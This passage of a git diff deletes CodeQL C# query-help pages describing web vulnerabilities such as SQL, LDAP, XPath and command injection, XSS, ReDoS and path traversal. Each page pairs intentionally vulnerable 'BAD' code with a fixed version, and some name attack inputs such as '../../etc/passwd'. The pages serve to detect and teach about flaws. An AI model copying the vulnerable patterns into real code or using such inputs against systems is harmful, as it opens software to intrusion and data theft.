of user input against expensive regex - -``` -ID: cs/redos -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-730 external/cwe/cwe-400 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-730/ReDoS.ql) - -Matching user input against a regular expression which takes exponential time in the worst case can allow a malicious user to perform a Denial of Service ("DoS") attack by crafting input that takes a long time to execute. - -Most regular expression engines, including the C# standard library implementation, are designed to work with an extended regular expression syntax. Although this provides flexibility for the user, it can prevent the engine from constructing an efficient implementation of the matcher in all circumstances. In particular, the "worst case time complexity" (see the references) of certain regular expressions may be "exponential". This would allow a malicious user to provide some input which causes the regular expression to take a very long time to execute. - -Typically, a regular expression is vulnerable to this attack if it applies repetition to a sub-expression which itself is repeated, or contains overlapping options. For example, `(a+)+` is vulnerable to a string such as `aaaaaaaaaaaaaaaaaaaaaaaaaaab`. More information about the precise circumstances can be found in the references. - - -## Recommendation -Modify the regular expression to avoid the exponential worst case time. If this is not possible, then a timeout should be used to avoid a denial of service. For C# applications, a timeout can be provided to the `Regex` constructor. Alternatively, apply a global timeout by setting the `REGEX_DEFAULT_MATCH_TIMEOUT` application domain property, using the `AppDomain.SetData` method. - - -## Example -The following example shows a HTTP request parameter that is matched against a regular expression which has exponential worst case performance. In the first case, it is matched without a timeout, which can lead to a denial of service. In the second case, a timeout is used to cancel the evaluation of the regular expression after 1 second. - - -```csharp -using System; -using System.Web; -using System.Text.RegularExpressions; - -public class ReDoSHandler : IHttpHandler -{ - - public void ProcessRequest(HttpContext ctx) - { - string userInput = ctx.Request.QueryString["userInput"]; - - // BAD: User input is matched against a regex with exponential worst case behavior - new Regex("^([a-z]*)*$").Match(userInput); - - // GOOD: Regex is given a timeout to avoid DoS - new Regex("^([a-z]*)*$", - RegexOptions.IgnoreCase, - TimeSpan.FromSeconds(1)).Match(userInput); - } -} - -``` - -## References -* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS). -* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS). -* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity). -* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html). -* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/RegexInjection.md b/docs/language/query-help/csharp/RegexInjection.md deleted file mode 100644 index 2d9f59c40fa..00000000000 --- a/docs/language/query-help/csharp/RegexInjection.md +++ /dev/null @@ -1,56 +0,0 @@ -# Regular expression injection - -``` -ID: cs/regex-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-730 external/cwe/cwe-400 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-730/RegexInjection.ql) - -Constructing a regular expression with unsanitized user input is dangerous as a malicious user may be able to modify the meaning of the expression. In particular, such a user may be able to provide a regular expression fragment that takes exponential time in the worst case, and use that to perform a Denial of Service attack. - - -## Recommendation -For user input that is intended to be referenced as a string literal in a regular expression, use the `Regex.Escape` method to escape any special characters. If the regular expression is intended to be configurable by the user, then a timeout should be used to avoid Denial of Service attacks. For C# applications, a timeout can be provided to the `Regex` constructor. Alternatively, apply a global timeout by setting the `REGEX_DEFAULT_MATCH_TIMEOUT` application domain property, using the `AppDomain.SetData` method. - - -## Example -The following example shows a HTTP request parameter that is used as a regular expression, and matched against another request parameter. - -In the first case, the regular expression is used without a timeout, and the user-provided regex is not escaped. If a malicious user provides a regex that has exponential worst case performance, then this could lead to a Denial of Service. - -In the second case, the user input is escaped using `Regex.Escape` before being included in the regular expression. This ensures that the user cannot insert characters which have a special meaning in regular expressions. - - -```csharp -using System; -using System.Web; -using System.Text.RegularExpressions; - -public class RegexInjectionHandler : IHttpHandler -{ - - public void ProcessRequest(HttpContext ctx) - { - string name = ctx.Request.QueryString["name"]; - string userInput = ctx.Request.QueryString["userInput"]; - - // BAD: Unsanitized user input is used to construct a regular expression - new Regex("^" + name + "=.*$").Match(userInput); - - // GOOD: User input is sanitized before constructing the regex - string safeName = Regex.Escape(name); - new Regex("^" + safeName + "=.*$").Match(userInput); - } -} - -``` - -## References -* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS). -* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS). -* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html). -* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/RequireSSL.md b/docs/language/query-help/csharp/RequireSSL.md deleted file mode 100644 index 465ba0050c2..00000000000 --- a/docs/language/query-help/csharp/RequireSSL.md +++ /dev/null @@ -1,46 +0,0 @@ -# 'requireSSL' attribute is not set to true - -``` -ID: cs/web/requiressl-not-set -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-319 external/cwe/cwe-614 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-614/RequireSSL.ql) - -Sensitive data that is transmitted using HTTP is vulnerable to being read by a third party. By default, web forms and cookies are sent via HTTP, not HTTPS. This setting can be changed by setting the `requireSSL` attribute to `"true"` in `Web.config`. - - -## Recommendation -When using web forms, ensure that `Web.config` contains a `` element with the attribute `requireSSL="true"`. - -When using cookies, ensure that SSL is used, either via the `` attribute above, or the `` element, with the attribute `requireSSL="true"`. It is also possible to require cookies to use SSL programmatically, by setting the property `System.Web.HttpCookie.Secure` to `true`. - - -## Example -The following example shows where to specify `requireSSL="true"` in a `Web.config` file. - - -```none - - - - - - - - - - -``` - -## References -* MSDN: [HttpCookie.Secure Property](https://msdn.microsoft.com/en-us/library/system.web.httpcookie.secure(v=vs.110).aspx), [FormsAuthentication.RequireSSL Property](https://msdn.microsoft.com/en-us/library/system.web.security.formsauthentication.requiressl(v=vs.110).aspx), [forms Element for authentication](https://msdn.microsoft.com/en-us/library/1d3t3c61(v=vs.100).aspx), [httpCookies Element](https://msdn.microsoft.com/library/ms228262%28v=vs.100%29.aspx). -* Common Weakness Enumeration: [CWE-319](https://cwe.mitre.org/data/definitions/319.html). -* Common Weakness Enumeration: [CWE-614](https://cwe.mitre.org/data/definitions/614.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ResourceInjection.md b/docs/language/query-help/csharp/ResourceInjection.md deleted file mode 100644 index 590eadb0a71..00000000000 --- a/docs/language/query-help/csharp/ResourceInjection.md +++ /dev/null @@ -1,59 +0,0 @@ -# Resource injection - -``` -ID: cs/resource-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-099 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-099/ResourceInjection.ql) - -If a resource descriptor is built using string concatenation, and the components of the concatenation include user input, a user may be able to hijack the resource which is loaded. - - -## Recommendation -If user input must be included in a resource descriptor, it should be escaped to avoid a malicious user providing special characters that change the meaning of the descriptor. If possible, use an existing library to either escape or construct the resource. - -For data connections within sub namespaces of `System.Data`, a connection builder class is provided. For example, a connection string which is to be passed to `System.Data.SqlClient.SqlConnection` can be constructed safely using an instance of `System.Data.SqlClient.SqlConnectionStringBuilder`. - - -## Example -In the following examples, the code accepts a user name from the user, which it uses to create a connection string for an SQL database. - -The first example concatenates the unvalidated and unencoded user input directly into the connection string. A malicious user could provide special characters to change the meaning of the connection string, and connect to a completely different server. - -The second example uses the `SqlConnectionStringBuilder` to construct the connection string and therefore prevents a malicious user modifying the meaning of the connection string. - - -```csharp -using System.Data.SqlClient; -using System.Web; - -public class ResourceInjectionHandler : IHttpHandler -{ - public void ProcessRequest(HttpContext ctx) - { - string userName = ctx.Request.QueryString["userName"]; - - // BAD: Direct use of user input in a connection string passed to SqlConnection - string connectionString = "server=(local);user id=" + userName + ";password= pass;"; - SqlConnection sqlConnectionBad = new SqlConnection(connectionString); - - // GOOD: Use SqlConnectionStringBuilder to safely include user input in a connection string - SqlConnectionStringBuilder builder = new SqlConnectionStringBuilder(); - builder["Data Source"] = "(local)"; - builder["integrated Security"] = true; - builder["user id"] = userName; - SqlConnection sqlConnectionGood = new SqlConnection(builder.ConnectionString); - } -} - -``` - -## References -* OWASP: [Resource Injection](https://www.owasp.org/index.php/Resource_Injection). -* MSDN: [Building Connection Strings](https://msdn.microsoft.com/en-us/library/ms254947(v=vs.80).aspx). -* MSDN: [Securing Connection Strings](https://msdn.microsoft.com/en-us/library/89211k9b(VS.80).aspx). -* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/RuntimeChecksBypass.md b/docs/language/query-help/csharp/RuntimeChecksBypass.md deleted file mode 100644 index 9a6dac1ba9f..00000000000 --- a/docs/language/query-help/csharp/RuntimeChecksBypass.md +++ /dev/null @@ -1,83 +0,0 @@ -# Serialization check bypass - -``` -ID: cs/serialization-check-bypass -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-020/RuntimeChecksBypass.ql) - -Fields that are deserialized should be validated, otherwise the deserialized object could contain invalid data. - -This query finds cases where a field is validated in a constructor, but not in a deserialization method. This is an indication that the deserialization method is missing a validation step. - - -## Recommendation -If a field needs to be validated, then ensure that validation is also performed during deserialization. - - -## Example -The following example has the validation of the `Age` field in the constructor but not in the deserialization method: - - -```csharp -using System; -using System.Runtime.Serialization; - -[Serializable] -public class PersonBad : ISerializable -{ - public int Age; - - public PersonBad(int age) - { - if (age < 0) - throw new ArgumentException(nameof(age)); - Age = age; - } - - [OnDeserializing] - void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) - { - Age = info.GetInt32("age"); // BAD - write is unsafe - } -} - -``` -The problem is fixed by adding validation to the deserialization method as follows: - - -```csharp -using System; -using System.Runtime.Serialization; - -[Serializable] -public class PersonGood : ISerializable -{ - public int Age; - - public PersonGood(int age) - { - if (age < 0) - throw new ArgumentException(nameof(age)); - Age = age; - } - - [OnDeserializing] - void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) - { - int age = info.GetInt32("age"); - if (age < 0) - throw new SerializationException(nameof(Age)); - Age = age; // GOOD - write is safe - } -} - -``` - -## References -* OWASP: [Data Validation](https://www.owasp.org/index.php/Data_Validation). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/SecondOrderSqlInjection.md b/docs/language/query-help/csharp/SecondOrderSqlInjection.md deleted file mode 100644 index c14350dc8ad..00000000000 --- a/docs/language/query-help/csharp/SecondOrderSqlInjection.md +++ /dev/null @@ -1,86 +0,0 @@ -# SQL query built from stored user-controlled sources - -``` -ID: cs/second-order-sql-injection -Kind: path-problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-089 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-089/SecondOrderSqlInjection.ql) - -If a SQL query is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to run malicious database queries. - - -## Recommendation -Usually, it is better to use a prepared statement than to build a complete query with string concatenation. A prepared statement can include a parameter, written as either a question mark (`?`) or with an explicit name (`@parameter`), for each part of the SQL query that is expected to be filled in by a different value each time it is run. When the query is later executed, a value must be supplied for each parameter in the query. - -It is good practice to use prepared statements for supplying parameters to a query, whether or not any of the parameters are directly traceable to user input. Doing so avoids any need to worry about quoting and escaping. - - -## Example -In the following example, the code runs a simple SQL query in three different ways. - -The first way involves building a query, `query1`, by concatenating a user-supplied text box value with some string literals. The text box value can include special characters, so this code allows for SQL injection attacks. - -The second way uses a stored procedure, `ItemsStoredProcedure`, with a single parameter (`@category`). The parameter is then given a value by calling `Parameters.Add`. This version is immune to injection attacks, because any special characters are not given any special treatment. - -The third way builds a query, `query2`, with a single string literal that includes a parameter (`@category`). The parameter is then given a value by calling `Parameters.Add`. This version is immune to injection attacks, because any special characters are not given any special treatment. - - -```csharp -using System.Data; -using System.Data.SqlClient; -using System.Web.UI.WebControls; - -class SqlInjection -{ - TextBox categoryTextBox; - string connectionString; - - public DataSet GetDataSetByCategory() - { - // BAD: the category might have SQL special characters in it - using (var connection = new SqlConnection(connectionString)) - { - var query1 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" - + categoryTextBox.Text + "' ORDER BY PRICE"; - var adapter = new SqlDataAdapter(query1, connection); - var result = new DataSet(); - adapter.Fill(result); - return result; - } - - // GOOD: use parameters with stored procedures - using (var connection = new SqlConnection(connectionString)) - { - var adapter = new SqlDataAdapter("ItemsStoredProcedure", connection); - adapter.SelectCommand.CommandType = CommandType.StoredProcedure; - var parameter = new SqlParameter("category", categoryTextBox.Text); - adapter.SelectCommand.Parameters.Add(parameter); - var result = new DataSet(); - adapter.Fill(result); - return result; - } - - // GOOD: use parameters with dynamic SQL - using (var connection = new SqlConnection(connectionString)) - { - var query2 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=" - + "@category ORDER BY PRICE"; - var adapter = new SqlDataAdapter(query2, connection); - var parameter = new SqlParameter("category", categoryTextBox.Text); - adapter.SelectCommand.Parameters.Add(parameter); - var result = new DataSet(); - adapter.Fill(result); - return result; - } - } -} - -``` - -## References -* MSDN: [How To: Protect From SQL Injection in ASP.NET](https://msdn.microsoft.com/en-us/library/ff648339.aspx). -* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/SqlInjection.md b/docs/language/query-help/csharp/SqlInjection.md deleted file mode 100644 index 31052c94634..00000000000 --- a/docs/language/query-help/csharp/SqlInjection.md +++ /dev/null @@ -1,86 +0,0 @@ -# SQL query built from user-controlled sources - -``` -ID: cs/sql-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-089 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-089/SqlInjection.ql) - -If a SQL query is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to run malicious database queries. - - -## Recommendation -Usually, it is better to use a prepared statement than to build a complete query with string concatenation. A prepared statement can include a parameter, written as either a question mark (`?`) or with an explicit name (`@parameter`), for each part of the SQL query that is expected to be filled in by a different value each time it is run. When the query is later executed, a value must be supplied for each parameter in the query. - -It is good practice to use prepared statements for supplying parameters to a query, whether or not any of the parameters are directly traceable to user input. Doing so avoids any need to worry about quoting and escaping. - - -## Example -In the following example, the code runs a simple SQL query in three different ways. - -The first way involves building a query, `query1`, by concatenating a user-supplied text box value with some string literals. The text box value can include special characters, so this code allows for SQL injection attacks. - -The second way uses a stored procedure, `ItemsStoredProcedure`, with a single parameter (`@category`). The parameter is then given a value by calling `Parameters.Add`. This version is immune to injection attacks, because any special characters are not given any special treatment. - -The third way builds a query, `query2`, with a single string literal that includes a parameter (`@category`). The parameter is then given a value by calling `Parameters.Add`. This version is immune to injection attacks, because any special characters are not given any special treatment. - - -```csharp -using System.Data; -using System.Data.SqlClient; -using System.Web.UI.WebControls; - -class SqlInjection -{ - TextBox categoryTextBox; - string connectionString; - - public DataSet GetDataSetByCategory() - { - // BAD: the category might have SQL special characters in it - using (var connection = new SqlConnection(connectionString)) - { - var query1 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" - + categoryTextBox.Text + "' ORDER BY PRICE"; - var adapter = new SqlDataAdapter(query1, connection); - var result = new DataSet(); - adapter.Fill(result); - return result; - } - - // GOOD: use parameters with stored procedures - using (var connection = new SqlConnection(connectionString)) - { - var adapter = new SqlDataAdapter("ItemsStoredProcedure", connection); - adapter.SelectCommand.CommandType = CommandType.StoredProcedure; - var parameter = new SqlParameter("category", categoryTextBox.Text); - adapter.SelectCommand.Parameters.Add(parameter); - var result = new DataSet(); - adapter.Fill(result); - return result; - } - - // GOOD: use parameters with dynamic SQL - using (var connection = new SqlConnection(connectionString)) - { - var query2 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=" - + "@category ORDER BY PRICE"; - var adapter = new SqlDataAdapter(query2, connection); - var parameter = new SqlParameter("category", categoryTextBox.Text); - adapter.SelectCommand.Parameters.Add(parameter); - var result = new DataSet(); - adapter.Fill(result); - return result; - } - } -} - -``` - -## References -* MSDN: [How To: Protect From SQL Injection in ASP.NET](https://msdn.microsoft.com/en-us/library/ff648339.aspx). -* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/StoredCommandInjection.md b/docs/language/query-help/csharp/StoredCommandInjection.md deleted file mode 100644 index bab076e373b..00000000000 --- a/docs/language/query-help/csharp/StoredCommandInjection.md +++ /dev/null @@ -1,45 +0,0 @@ -# Uncontrolled command line from stored user input - -``` -ID: cs/stored-command-line-injection -Kind: path-problem -Severity: error -Precision: medium -Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-088 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-078/StoredCommandInjection.ql) - -Code that passes user input directly to `System.Diagnostic.Process.Start`, or some other library routine that executes a command, allows the user to execute malicious code. - - -## Recommendation -If possible, use hard-coded string literals to specify the command to run or library to load. Instead of passing the user input directly to the process or library function, examine the user input and then choose among hard-coded string literals. - -If the applicable libraries or commands cannot be determined at compile time, then add code to verify that the user input string is safe before using it. - - -## Example -The following example shows code that takes a shell script that can be changed maliciously by a user, and passes it straight to `System.Diagnostic.Process.Start` without examining it first. - - -```csharp -using System; -using System.Web; -using System.Diagnostics; - -public class CommandInjectionHandler : IHttpHandler -{ - public void ProcessRequest(HttpContext ctx) - { - string param = ctx.Request.QueryString["param"]; - Process.Start("process.exe", "/c " + param); - } -} - -``` - -## References -* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). -* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). -* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/StoredLDAPInjection.md b/docs/language/query-help/csharp/StoredLDAPInjection.md deleted file mode 100644 index cea773faa69..00000000000 --- a/docs/language/query-help/csharp/StoredLDAPInjection.md +++ /dev/null @@ -1,85 +0,0 @@ -# LDAP query built from stored user-controlled sources - -``` -ID: cs/stored-ldap-injection -Kind: path-problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-090 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-090/StoredLDAPInjection.ql) - -If an LDAP query is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to run malicious LDAP queries. - - -## Recommendation -If user input must be included in an LDAP query, it should be escaped to avoid a malicious user providing special characters that change the meaning of the query. If possible, use an existing library, such as the AntiXSS library. - - -## Example -In the following examples, the code accepts an "organization name" and a "username" from the user, which it uses to query LDAP to access a "type" property. - -The first example concatenates the unvalidated and unencoded user input directly into both the DN (Distinguished Name) and the search filter used for the LDAP query. A malicious user could provide special characters to change the meaning of these queries, and search for a completely different set of values. - -The second example uses the Microsoft AntiXSS library to encode the user values before they are included in the DN and search filters. This ensures the meaning of the query cannot be changed by a malicious user. - - -```csharp -using Microsoft.Security.Application.Encoder -using System; -using System.DirectoryServices; -using System.Web; - -public class LDAPInjectionHandler : IHttpHandler -{ - public void ProcessRequest(HttpContext ctx) - { - string userName = ctx.Request.QueryString["username"]; - string organizationName = ctx.Request.QueryString["organization_name"]; - // BAD: User input used in DN (Distinguished Name) without encoding - string ldapQuery = "LDAP://myserver/OU=People,O=" + organizationName; - using (DirectoryEntry root = new DirectoryEntry(ldapQuery)) - { - // BAD: User input used in search filter without encoding - DirectorySearcher ds = new DirectorySearcher(root, "username=" + userName); - - SearchResult result = ds.FindOne(); - if (result != null) - { - using (DirectoryEntry user = result.getDirectoryEntry()) - { - ctx.Response.Write(user.Properties["type"].Value) - } - } - } - - // GOOD: Organization name is encoded before being used in DN - string safeOrganizationName = Encoder.LdapDistinguishedNameEncode(organizationName); - string safeLDAPQuery = "LDAP://myserver/OU=People,O=" + safeOrganizationName; - using (DirectoryEntry root = new DirectoryEntry(safeLDAPQuery)) - { - // GOOD: User input is encoded before being used in search filter - string safeUserName = Encoder.LdapFilterEncode(userName); - DirectorySearcher ds = new DirectorySearcher(root, "username=" + safeUserName); - - SearchResult result = ds.FindOne(); - if (result != null) - { - using (DirectoryEntry user = result.getDirectoryEntry()) - { - ctx.Response.Write(user.Properties["type"].Value) - } - } - } - } -} - -``` - -## References -* OWASP: [LDAP Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html). -* OWASP: [Preventing LDAP Injection in Java](https://www.owasp.org/index.php/Preventing_LDAP_Injection_in_Java). -* AntiXSS doc: [LdapFilterEncode](http://www.nudoq.org/#!/Packages/AntiXSS/AntiXssLibrary/Encoder/M/LdapFilterEncode). -* AntiXSS doc: [LdapDistinguishedNameEncode](http://www.nudoq.org/#!/Packages/AntiXSS/AntiXssLibrary/Encoder/M/LdapDistinguishedNameEncode). -* Common Weakness Enumeration: [CWE-90](https://cwe.mitre.org/data/definitions/90.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/StoredXPathInjection.md b/docs/language/query-help/csharp/StoredXPathInjection.md deleted file mode 100644 index 53c34f32670..00000000000 --- a/docs/language/query-help/csharp/StoredXPathInjection.md +++ /dev/null @@ -1,64 +0,0 @@ -# Stored XPath injection - -``` -ID: cs/xml/stored-xpath-injection -Kind: path-problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-643 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-643/StoredXPathInjection.ql) - -If an XPath expression is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to create a malicious XPath expression. - - -## Recommendation -If user input must be included in an XPath expression, pre-compile the query and use variable references to include the user input. - -When using the `System.Xml.XPath` API, this can be done by creating a custom subtype of `System.Xml.Xsl.XsltContext`, and implementing `ResolveVariable(String,?String)` to return the user provided data. This custom context can be specified for a given `XPathExpression` using `XPathExpression.SetContext()`. For more details, see the "User Defined Functions and Variables" webpage in the list of references. - - -## Example -In the first example, the code accepts a user name specified by the user, and uses this unvalidated and unsanitized value in an XPath expression. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values. - -In the second example, the XPath expression is a hard-coded string that specifies some variables, which are safely replaced at runtime using a custom `XsltContext` that looks up the variables in an `XsltArgumentList`. - - -```csharp -using System; -using System.Web; -using System.Xml.XPath; - -public class XPathInjectionHandler : IHttpHandler -{ - public void ProcessRequest(HttpContext ctx) - { - string userName = ctx.Request.QueryString["userName"]; - - // BAD: Use user-provided data directly in an XPath expression - string badXPathExpr = "//users/user[login/text()='" + userName + "']/home_dir/text()"; - XPathExpression.Compile(badXPathExpr); - - // GOOD: XPath expression uses variables to refer to parameters - string xpathExpression = "//users/user[login/text()=$username]/home_dir/text()"; - XPathExpression xpath = XPathExpression.Compile(xpathExpression); - - // Arguments are provided as a XsltArgumentList() - XsltArgumentList varList = new XsltArgumentList(); - varList.AddParam("userName", string.Empty, userName); - - // CustomContext is an application specific class, that looks up variables in the - // expression from the varList. - CustomContext context = new CustomContext(new NameTable(), varList) - xpath.SetContext(context); - } -} - -``` - -## References -* OWASP: [Testing for XPath Injection](https://www.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)). -* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection). -* MSDN: [User Defined Functions and Variables](https://msdn.microsoft.com/en-us/library/dd567715.aspx). -* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/StoredXSS.md b/docs/language/query-help/csharp/StoredXSS.md deleted file mode 100644 index 8b4dded32fc..00000000000 --- a/docs/language/query-help/csharp/StoredXSS.md +++ /dev/null @@ -1,43 +0,0 @@ -# Stored cross-site scripting - -``` -ID: cs/web/stored-xss -Kind: path-problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-079 external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-079/StoredXSS.ql) - -Directly writing user input (for example, an HTTP request parameter) to a webpage, without properly sanitizing the input first, allows for a cross-site scripting vulnerability. - - -## Recommendation -To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references. - - -## Example -The following example shows the page parameter being written directly to the server error page, leaving the website vulnerable to cross-site scripting. - - -```csharp -using System; -using System.Web; - -public class XSSHandler : IHttpHandler -{ - public void ProcessRequest(HttpContext ctx) - { - ctx.Response.Write( - "The page \"" + ctx.Request.QueryString["page"] + "\" was not found."); - } -} - -``` - -## References -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/TaintedPath.md b/docs/language/query-help/csharp/TaintedPath.md deleted file mode 100644 index a4935bc9743..00000000000 --- a/docs/language/query-help/csharp/TaintedPath.md +++ /dev/null @@ -1,61 +0,0 @@ -# Uncontrolled data used in path expression - -``` -ID: cs/path-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 external/cwe/cwe-099 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-022/TaintedPath.ql) - -Accessing paths controlled by users can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. - -Paths that are naively constructed from data controlled by a user may contain unexpected special characters, such as "..". Such a path may potentially point to any directory on the file system. - - -## Recommendation -Validate user input before using it to construct a file path. Ideally, follow these rules: - -* Do not allow more than a single "." character. -* Do not allow directory separators such as "/" or "\" (depending on the file system). -* Do not rely on simply replacing problematic sequences such as "../". For example, after applying this filter to ".../...//" the resulting string would still be "../". -* Use a whitelist of known good patterns. -* Sanitize potentially tainted paths using `HttpRequest.MapPath`. - -## Example -In the first example, a file name is read from a `HttpRequest` and then used to access a file. However, a malicious user could enter a file name which is an absolute path - for example, "/etc/passwd". In the second example, it appears that the user is restricted to opening a file within the "user" home directory. However, a malicious user could enter a filename which contains special characters. For example, the string "../../etc/passwd" will result in the code reading the file located at "/home/[user]/../../etc/passwd", which is the system's password file. This file would then be sent back to the user, giving them access to all the system's passwords. - - -```csharp -using System; -using System.IO; -using System.Web; - -public class TaintedPathHandler : IHttpHandler -{ - public void ProcessRequest(HttpContext ctx) - { - String path = ctx.Request.QueryString["path"]; - // BAD: This could read any file on the filesystem. - ctx.Response.Write(File.ReadAllText(path)); - - // BAD: This could still read any file on the filesystem. - ctx.Response.Write(File.ReadAllText("/home/user/" + path)); - - // GOOD: MapPath ensures the path is safe to read from. - string safePath = ctx.Request.MapPath(path, ctx.Request.ApplicationPath, false); - ctx.Response.Write(File.ReadAllText(safePath)); - } -} - -``` - -## References -* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). -* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). -* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html). -* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html). -* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html). -* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ThreadUnsafeICryptoTransform.md b/docs/language/query-help/csharp/ThreadUnsafeICryptoTransform.md deleted file mode 100644 index c9d8e029350..00000000000 --- a/docs/language/query-help/csharp/ThreadUnsafeICryptoTransform.md +++ /dev/null @@ -1,132 +0,0 @@ -# Thread-unsafe use of a static ICryptoTransform field - -``` -ID: cs/thread-unsafe-icryptotransform-field-in-class -Kind: problem -Severity: warning -Precision: medium -Tags: concurrency security external/cwe/cwe-362 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Likely%20Bugs/ThreadUnsafeICryptoTransform.ql) - -Classes that implement `System.Security.Cryptography.ICryptoTransform` are not thread safe. - -This problem is caused by the way these classes are implemented using Microsoft CAPI/CNG patterns. - -For example, when a hash class implements this interface, there would typically be an instance-specific hash object created (for example using `BCryptCreateHash` function). This object can be called multiple times to add data to the hash (for example `BCryptHashData`). Finally, a function is called that finishes the hash and returns the data (for example `BCryptFinishHash`). - -Allowing the same hash object to be called with data from multiple threads before calling the finish function could potentially lead to incorrect results. - -For example, if you have multiple threads hashing `"abc"` on a static hash object, you may occasionally obtain the results (incorrectly) for hashing `"abcabc"`, or face other unexpected behavior. - -It is very unlikely somebody outside 